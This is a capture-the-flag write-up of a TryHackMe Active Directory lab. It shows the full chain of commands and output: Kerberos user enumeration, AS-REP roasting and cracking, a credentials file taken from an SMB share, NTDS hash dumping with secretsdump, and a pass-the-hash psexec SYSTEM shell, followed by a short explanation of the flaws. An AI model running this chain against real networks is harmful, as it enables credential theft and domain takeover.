This is a Windows machine specifically designed for testing Active Directory and Kerberos vulnerabilities. Enjoy the writeup.
Table of Contents
Scanning and Enumeration
NMap scan (amended for brevity):
Nmap scan report for ip-10-10-111-155.eu-west-1.compute.internal (10.10.111.155) Host is up (0.0079s latency). Not shown: 987 closed ports PORT STATE SERVICE VERSION 53/tcp open domain Microsoft DNS 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: | Supported Methods: OPTIONS TRACE GET HEAD POST |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: IIS Windows Server 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-03-24 10:34:48Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 3389/tcp open ms-wbt-server Microsoft Terminal Services | ssl-cert: Subject: commonName=AttacktiveDirectory.spookysec.local | Issuer: commonName=AttacktiveDirectory.spookysec.local | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2023-03-23T10:32:03 | Not valid after: 2023-09-22T10:32:03 | MD5: b9a7 39a1 daa8 e8c2 c3f6 b278 c938 dfe7 |_SHA-1: 4936 ced1 0e8e dc78 977a f9fa 1bf3 0834 c545 cbb0 |_ssl-date: 2023-03-24T10:35:07+00:00; 0s from scanner time. MAC Address: 02:94:A2:53:35:BF (Unknown) No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). [...] Network Distance: 1 hop TCP Sequence Prediction: Difficulty=262 (Good luck!) IP ID Sequence Generation: Incremental Service Info: Host: ATTACKTIVEDIREC; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | nbstat: NetBIOS name: ATTACKTIVEDIREC, NetBIOS user: <unknown>, NetBIOS MAC: 02:94:a2:53:35:bf (unknown) | Names: | ATTACKTIVEDIREC<00> Flags: <unique><active> | THM-AD<00> Flags: <group><active> | THM-AD<1c> Flags: <group><active> | ATTACKTIVEDIREC<20> Flags: <unique><active> |_ THM-AD<1b> Flags: <unique><active> | smb2-security-mode: | 2.02: |_ Message signing enabled and required | smb2-time: | date: 2023-03-24 10:35:07 |_ start_date: 1600-12-31 23:58:45 TRACEROUTE HOP RTT ADDRESS 1 7.89 ms ip-10-10-111-155.eu-west-1.compute.internal (10.10.111.155)
There were many services on this machine, but I focused on Kerberos and enumerating its users. I used an username list provided by TryHackMe (to not waste too much time), collected the relevant information from the NMap scan (the domain) and used the Kerbrute tool:
root@ip-10-10-70-56:~# ./kerbrute userenum --dc 10.10.111.155 -d spookysec.local userlist.txt [...] 2023/03/24 10:58:00 > [+] VALID USERNAME: svc-admin@spookysec.local 2023/03/24 10:58:03 > [+] VALID USERNAME: backup@spookysec.local
I’ve found two users.
I then tried to abuse a feature within Kerberos with an attack method called ASREPRoasting. I used Impacket, one of its tools called “GetNPUsers.py”, that allowed me to query ASReproastable accounts from the Key Distribution Center.
root@ip-10-10-70-56:~# python3.9 /opt/impacket/examples/GetNPUsers.py -dc-ip 10.10.111.155 -dc-ip 10.10.111.155 spookysec.local/backup Impacket v0.10.1.dev1+20230316.112532.f0ac44bd - Copyright 2022 Fortra Password: [*] Cannot authenticate backup, getting its TGT [-] User backup doesn't have UF_DONT_REQUIRE_PREAUTH set root@ip-10-10-70-56:~# python3.9 /opt/impacket/examples/GetNPUsers.py -dc-ip 10.10.111.155 -dc-ip 10.10.111.155 spookysec.local/svc-admin Impacket v0.10.1.dev1+20230316.112532.f0ac44bd - Copyright 2022 Fortra Password: [*] Cannot authenticate svc-admin, getting its TGT $krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL:79d4b75b937542b8b75176d8a1581766$b13b8f9d292d4fc1634ac9282b3f48371ba93234f7eac05a89e5c82d33415cb0722ffe205a1db441ebf1d06a334591ac77ab6084c0ece9fb3104841993b352ecff8a1f1947c7e05510751cb6352a38c2a366a2afe82aa5a21e00f33be15f655d6a0567f9a43386ee03f5adcb176be793e64fff669d9643c689db39f38be8e5ccc10c4707e15857bc170f3a266693caf63e49817b59b8ebddde92327c9a3f1b4b23f3fd456eccdd34111bac666ea123eb065010ddcb8f24683cbd59716122fc5620c2ec8c38e6ec0dc696b3e5a3a0488a67a9e2aa0ca066af94a04e9d8d7e065fdb94e81b2ef189ba6298b666aa336f82f450
For the account “svc-admin” the tool was able to get the hash. I used the first portion, $krb5asrep$23$, to confirm the mode and format on the hashcat website https://hashcat.net/wiki/doku.php?id=example_hashes, and then used John The Ripper to crack the hash and find the password for this account:
root@ip-10-10-70-56:~# john --list=formats | grep krb krb4, krb5, krb5asrep, krb5pa-sha1, krb5tgs, krb5-17, krb5-18, krb5-3, mschapv2-naive, krb5pa-md5, mssql, mssql05, mssql12, multibit, mysqlna, keychain-opencl, keyring-opencl, keystore-opencl, krb5pa-md5-opencl, krb5pa-sha1-opencl, krb5asrep-aes-opencl, lp-opencl, lpcli-opencl, LM-opencl, root@ip-10-10-70-56:~# john --format=krb5asrep --wordlist=passwordlist.txt hash.txt Using default input encoding: UTF-8 Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x]) Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status management2005 ($krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL) 1g 0:00:00:00 DONE (2023-03-24 11:10) 10.00g/s 66560p/s 66560c/s 66560C/s horoscope..amy123 Use the "--show" option to display all of the cracked passwords reliably Session completed.
With these credentials I connected via Samba and found an interesting file in one of the shares:
root@ip-10-10-70-56:~# smbclient -L 10.10.111.155 -U svc-admin
WARNING: The "syslog" option is deprecated
Enter WORKGROUP\svc-admin's password:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
backup Disk
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
smb: \> ls
. D 0 Sat Apr 4 20:08:39 2020
.. D 0 Sat Apr 4 20:08:39 2020
backup_credentials.txt A 48 Sat Apr 4 20:08:53 2020
8247551 blocks of size 4096. 3556512 blocks available
smb: \> get backup_credentials.txt
getting file \backup_credentials.txt of size 48 as backup_credentials.txt (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)
smb: \>
This file contained the credentials for the “backup” account (originally encoded in a Base64 format):
root@ip-10-10-70-56:~# cat backup_credentials.txt YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw
Decoded: backup@spookysec.local:backup2517860
I used again impacket, with this new account credentials, to get the hashes for this machine:
root@ip-10-10-70-56:~# python3.9 /opt/impacket/examples/secretsdump.py -ntds NTDS -dc-ip 10.10.111.155 -target-ip 10.10.111.155 backup@spookysec.local Impacket v0.10.1.dev1+20230316.112532.f0ac44bd - Copyright 2022 Fortra Password: [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0e2eb8158c27bed09861033026be4c21::: spookysec.local\skidy:1103:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc410b62cb7e11c57ba4::: spookysec.local\breakerofthings:1104:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc410b62cb7e11c57ba4::: spookysec.local\james:1105:aad3b435b51404eeaad3b435b51404ee:9448bf6aba63d154eb0c665071067b6b::: spookysec.local\optional:1106:aad3b435b51404eeaad3b435b51404ee:436007d1c1550eaf41803f1272656c9e::: spookysec.local\sherlocksec:1107:aad3b435b51404eeaad3b435b51404ee:b09d48380e99e9965416f0d7096b703b::: spookysec.local\darkstar:1108:aad3b435b51404eeaad3b435b51404ee:cfd70af882d53d758a1612af78a646b7::: spookysec.local\Ori:1109:aad3b435b51404eeaad3b435b51404ee:c930ba49f999305d9c00a8745433d62a::: spookysec.local\robin:1110:aad3b435b51404eeaad3b435b51404ee:642744a46b9d4f6dff8942d23626e5bb::: spookysec.local\paradox:1111:aad3b435b51404eeaad3b435b51404ee:048052193cfa6ea46b5a302319c0cff2::: spookysec.local\Muirland:1112:aad3b435b51404eeaad3b435b51404ee:3db8b1419ae75a418b3aa12b8c0fb705::: spookysec.local\horshark:1113:aad3b435b51404eeaad3b435b51404ee:41317db6bd1fb8c21c2fd2b675238664::: spookysec.local\svc-admin:1114:aad3b435b51404eeaad3b435b51404ee:fc0f1e5359e372aa1f69147375ba6809::: spookysec.local\backup:1118:aad3b435b51404eeaad3b435b51404ee:19741bde08e135f4b40f1ca9aab45538::: spookysec.local\a-spooks:1601:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc::: ATTACKTIVEDIREC$:1000:aad3b435b51404eeaad3b435b51404ee:2890732645864e8c87a7a262c8f7f957::: [*] Kerberos keys grabbed Administrator:aes256-cts-hmac-sha1-96:713955f08a8654fb8f70afe0e24bb50eed14e53c8b2274c0c701ad2948ee0f48 Administrator:aes128-cts-hmac-sha1-96:e9077719bc770aff5d8bfc2d54d226ae Administrator:des-cbc-md5:2079ce0e5df189ad krbtgt:aes256-cts-hmac-sha1-96:b52e11789ed6709423fd7276148cfed7dea6f189f3234ed0732725cd77f45afc krbtgt:aes128-cts-hmac-sha1-96:e7301235ae62dd8884d9b890f38e3902 krbtgt:des-cbc-md5:b94f97e97fabbf5d spookysec.local\skidy:aes256-cts-hmac-sha1-96:3ad697673edca12a01d5237f0bee628460f1e1c348469eba2c4a530ceb432b04 spookysec.local\skidy:aes128-cts-hmac-sha1-96:484d875e30a678b56856b0fef09e1233 spookysec.local\skidy:des-cbc-md5:b092a73e3d256b1f spookysec.local\breakerofthings:aes256-cts-hmac-sha1-96:4c8a03aa7b52505aeef79cecd3cfd69082fb7eda429045e950e5783eb8be51e5 spookysec.local\breakerofthings:aes128-cts-hmac-sha1-96:38a1f7262634601d2df08b3a004da425 spookysec.local\breakerofthings:des-cbc-md5:7a976bbfab86b064 spookysec.local\james:aes256-cts-hmac-sha1-96:1bb2c7fdbecc9d33f303050d77b6bff0e74d0184b5acbd563c63c102da389112 spookysec.local\james:aes128-cts-hmac-sha1-96:08fea47e79d2b085dae0e95f86c763e6 spookysec.local\james:des-cbc-md5:dc971f4a91dce5e9 spookysec.local\optional:aes256-cts-hmac-sha1-96:fe0553c1f1fc93f90630b6e27e188522b08469dec913766ca5e16327f9a3ddfe spookysec.local\optional:aes128-cts-hmac-sha1-96:02f4a47a426ba0dc8867b74e90c8d510 spookysec.local\optional:des-cbc-md5:8c6e2a8a615bd054 spookysec.local\sherlocksec:aes256-cts-hmac-sha1-96:80df417629b0ad286b94cadad65a5589c8caf948c1ba42c659bafb8f384cdecd spookysec.local\sherlocksec:aes128-cts-hmac-sha1-96:c3db61690554a077946ecdabc7b4be0e spookysec.local\sherlocksec:des-cbc-md5:08dca4cbbc3bb594 spookysec.local\darkstar:aes256-cts-hmac-sha1-96:35c78605606a6d63a40ea4779f15dbbf6d406cb218b2a57b70063c9fa7050499 spookysec.local\darkstar:aes128-cts-hmac-sha1-96:461b7d2356eee84b211767941dc893be spookysec.local\darkstar:des-cbc-md5:758af4d061381cea spookysec.local\Ori:aes256-cts-hmac-sha1-96:5534c1b0f98d82219ee4c1cc63cfd73a9416f5f6acfb88bc2bf2e54e94667067 spookysec.local\Ori:aes128-cts-hmac-sha1-96:5ee50856b24d48fddfc9da965737a25e spookysec.local\Ori:des-cbc-md5:1c8f79864654cd4a spookysec.local\robin:aes256-cts-hmac-sha1-96:8776bd64fcfcf3800df2f958d144ef72473bd89e310d7a6574f4635ff64b40a3 spookysec.local\robin:aes128-cts-hmac-sha1-96:733bf907e518d2334437eacb9e4033c8 spookysec.local\robin:des-cbc-md5:89a7c2fe7a5b9d64 spookysec.local\paradox:aes256-cts-hmac-sha1-96:64ff474f12aae00c596c1dce0cfc9584358d13fba827081afa7ae2225a5eb9a0 spookysec.local\paradox:aes128-cts-hmac-sha1-96:f09a5214e38285327bb9a7fed1db56b8 spookysec.local\paradox:des-cbc-md5:83988983f8b34019 spookysec.local\Muirland:aes256-cts-hmac-sha1-96:81db9a8a29221c5be13333559a554389e16a80382f1bab51247b95b58b370347 spookysec.local\Muirland:aes128-cts-hmac-sha1-96:2846fc7ba29b36ff6401781bc90e1aaa spookysec.local\Muirland:des-cbc-md5:cb8a4a3431648c86 spookysec.local\horshark:aes256-cts-hmac-sha1-96:891e3ae9c420659cafb5a6237120b50f26481b6838b3efa6a171ae84dd11c166 spookysec.local\horshark:aes128-cts-hmac-sha1-96:c6f6248b932ffd75103677a15873837c spookysec.local\horshark:des-cbc-md5:a823497a7f4c0157 spookysec.local\svc-admin:aes256-cts-hmac-sha1-96:effa9b7dd43e1e58db9ac68a4397822b5e68f8d29647911df20b626d82863518 spookysec.local\svc-admin:aes128-cts-hmac-sha1-96:aed45e45fda7e02e0b9b0ae87030b3ff spookysec.local\svc-admin:des-cbc-md5:2c4543ef4646ea0d spookysec.local\backup:aes256-cts-hmac-sha1-96:23566872a9951102d116224ea4ac8943483bf0efd74d61fda15d104829412922 spookysec.local\backup:aes128-cts-hmac-sha1-96:843ddb2aec9b7c1c5c0bf971c836d197 spookysec.local\backup:des-cbc-md5:d601e9469b2f6d89 spookysec.local\a-spooks:aes256-cts-hmac-sha1-96:cfd00f7ebd5ec38a5921a408834886f40a1f40cda656f38c93477fb4f6bd1242 spookysec.local\a-spooks:aes128-cts-hmac-sha1-96:31d65c2f73fb142ddc60e0f3843e2f68 spookysec.local\a-spooks:des-cbc-md5:e09e4683ef4a4ce9 ATTACKTIVEDIREC$:aes256-cts-hmac-sha1-96:be4d66526fab02730b13ce183f18afdfc98e8b6ebbb4a1b2e5a2d669153029d2 ATTACKTIVEDIREC$:aes128-cts-hmac-sha1-96:039fe898593a7a8b19942965f6ef627b ATTACKTIVEDIREC$:des-cbc-md5:0b4589e9fbb36813 [*] Cleaning up... root@ip-10-10-70-56:~#
Exploitation
I used a Pass-The-Hash attack with impacket to login as the Administrator using the hashes stolen with the backup account:
root@ip-10-10-70-56:~# python3.9 /opt/impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc administrator@10.10.111.155 Impacket v0.10.1.dev1+20230316.112532.f0ac44bd - Copyright 2022 Fortra [*] Requesting shares on 10.10.111.155..... [*] Found writable share ADMIN$ [*] Uploading file sJKsbTXn.exe [*] Opening SVCManager on 10.10.111.155..... [*] Creating service QCZA on 10.10.111.155..... [*] Starting service QCZA..... [!] Press help for extra shell commands Microsoft Windows [Version 10.0.17763.1490] (c) 2018 Microsoft Corporation. All rights reserved. C:\Windows\system32> whoami nt authority\system C:\Windows\system32>
At this point, it was just a matter of finding the users’ and the root flags in their own folders.
Vulnerabilities
Several things happened while pentesting this machine that allowed me get access and then escalate my privileges.
First of all, Kerberos allowed me to enumerate the users via Kerbrute, which made me discover two useful accounts.
Then, I could abuse one of Kerberos features using an attack called ASREPRoasting, that’s a type of attack in which an attacker targets user accounts that don’t have Kerberos pre-authentication enabled in Active Directory environments.
The attacker sends a request to the Kerberos Authentication Service (AS) for a Ticket Granting Service (TGS) ticket to a specific user account, but does not provide the pre-authentication data that would typically be required. This causes the AS to issue a special type of ticket known as an AS-REP ticket, which contains encrypted credentials for the targeted user account.
The attacker can then attempt to crack the encrypted credentials offline, using specialized tools or methods, and potentially gain access to the targeted user account or other resources accessible through that account.
To protect against ASREPRoasting attacks, organizations can enable Kerberos pre-authentication for all user accounts in Active Directory environments, which requires additional authentication data to be provided before a TGS ticket can be issued. This makes it more difficult for attackers to obtain the necessary credentials to mount an attack.
With a valid set of credentials, I could do a deeper enumeration which allowed me to find smb shares and additional credentials left in one of those.
The new account was a “backup” account, specifically the backup account for the Domain Controller. This account had a unique permission that allowed all Active Directory changes to be synced with this user account. This included password hashes.
Having found out this, I could use another tool within Impacket called “secretsdump.py” that allowed me to retrieve all of the password hashes that the backup user account (that is synced with the domain controller) had.
I then used impacket for a pass-the-hash attack, using the hash to login in as a root user.
